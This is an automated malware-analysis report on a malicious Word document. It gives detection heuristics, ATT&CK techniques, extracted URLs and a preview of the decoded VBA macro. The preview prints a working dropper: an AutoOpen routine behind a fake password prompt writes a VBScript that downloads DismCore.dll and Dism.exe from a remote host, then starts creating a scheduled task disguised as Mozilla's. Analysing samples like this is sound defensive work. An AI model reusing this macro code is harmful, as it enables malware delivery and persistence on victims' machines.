MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.003 Windows Command Shell
T1105 Ingress Tool Transfer
The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes, prompting the user for a password. If the password is incorrect, it constructs and writes a VBScript to disk at 'C:\Users\Public\test.vbs'. This script is designed to download a second-stage payload from 'http://evil.com/payload.vbs' using WinHttpRequest.
Heuristics 9
-
ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBA
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://192.168.43.208/DismCore.dll In document text (OOXML body / shared strings)
- http://192.168.43.208/Dism.exeIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://mysite.comIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 7880 bytes |
SHA-256: 7080fc7e6fef36462d3c720413a2d5b66a88521ea50fe658ada524ef3b2bfbf7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim YourPath As String
Dim FileFunct As Integer
Dim Pass As String
Dim Name As String
Dim path As String
path = "C:\Users\Public\test.vbs"
Pass = "Test"
Name = Environ("COMPUTERNAME")
If InputBox("Type your password:") <> Pass Then
MsgBox "Incorrect Password! IT Security will be notified following further violations by " & Name, vbExclamation, "Error"
End If
YourPath = path
FileFunct = FreeFile
Open YourPath For Output As FileFunct
Print #FileFunct, "Sub HTTPDownload( myURL, myPath )"
Print #FileFunct, "Dim i, objFile, objFSO, objHTTP, strFile, strMsg"
Print #FileFunct, "Const ForReading = 1, ForWriting = 2, ForAppending = 8"
Print #FileFunct, "Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )"
Print #FileFunct, "If objFSO.FolderExists( myPath ) Then"
Print #FileFunct, "strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(myURL, ""/"" ) + 1 ) )"
Print #FileFunct, "ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath,""\"" ) - 1 ) ) Then"
Print #FileFunct, "strFile = myPath"
Print #FileFunct, "End If"
Print #FileFunct, "Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True)"
Print #FileFunct, "Set objHTTP = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )"
Print #FileFunct, "objHTTP.Open ""GET"", myURL, False"
Print #FileFunct, "objHTTP.Send"
Print #FileFunct, "For i = 1 To LenB( objHTTP.ResponseBody )"
Print #FileFunct, "objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1) ) )"
Print #FileFunct, "Next"
Print #FileFunct, "objFile.Close( )"
Print #FileFunct, " End Sub"
Print #FileFunct, "HTTPDownload ""http://192.168.43.208/DismCore.dll"", ""C:\Users\Public"" "
Print #FileFunct, "HTTPDownload ""http://192.168.43.208/Dism.exe"", ""C:\Users\Public"" "
Print #FileFunct, "Const TASK_ACTION_EXEC = 0"
Print #FileFunct, "Const TASK_CREATE_OR_UPDATE = &H06&"
Print #FileFunct, "Const TASK_LOGON_INTERACTIVE_TOKEN = 3"
Print #FileFunct, "Const TASK_RUNLEVEL_LUA = 0"
Print #FileFunct, "Const TASK_TRIGGER_EVENT = 0"
Print #FileFunct, "Const TASK_TRIGGER_TIME = 1"
Print #FileFunct, "Dim objTaskService, objRootFolder, objTaskFolder, objNewTaskDefinition"
Print #FileFunct, "Dim objTaskTrigger, objTaskAction, objTaskTriggers, blnFoundTask"
Print #FileFunct, "Dim objTaskFolders"
Print #FileFunct, "Set objTaskService = CreateObject(""Schedule.Service"")"
Print #FileFunct, "call objTaskService.Connect()"
Print #FileFunct, "Set objTaskFolder = objTaskService.GetFolder(""\Mozilla"")"
Print #FileFunct, "Set objRootFolder = objTaskService.GetFolder(""\"")"
Print #FileFunct, "Set objTaskFolders = objRootFolder.GetFolders(0)"
Print #FileFunct, "Set objNewTaskDefinition = objTaskService.NewTask(0) "
Print #FileFunct, "With objNewTaskDefinition"
Print #FileFunct, " .Data = ""This is my sample task via script"" "
Print #FileFunct, " With .RegistrationInfo"
Print #FileFunct, " .Author = ""Mozilla"""
Print #FileFunct, " .Date = ConvertTime(now())"
Print #FileFunct, " .Description = ""The Default Browser Agent task checks when the default changes from Firefox to another browser. """
Print #FileFunct, " .Documentation = ""My Document"" "
Print #FileFunct, " .URI = ""http://mysite.com"" "
Print #FileFunct, " .Version = ""1.0"" "
Print #FileFunct, " End With "
Print #File
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 18944 bytes |
SHA-256: c6be9730fc96b60f9f121809c1ea3f8ee464c543382cc874da8b7db30d820d77 |
|||
|
Detection
ClamAV:
Doc.Dropper.Agent-6412232-1
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.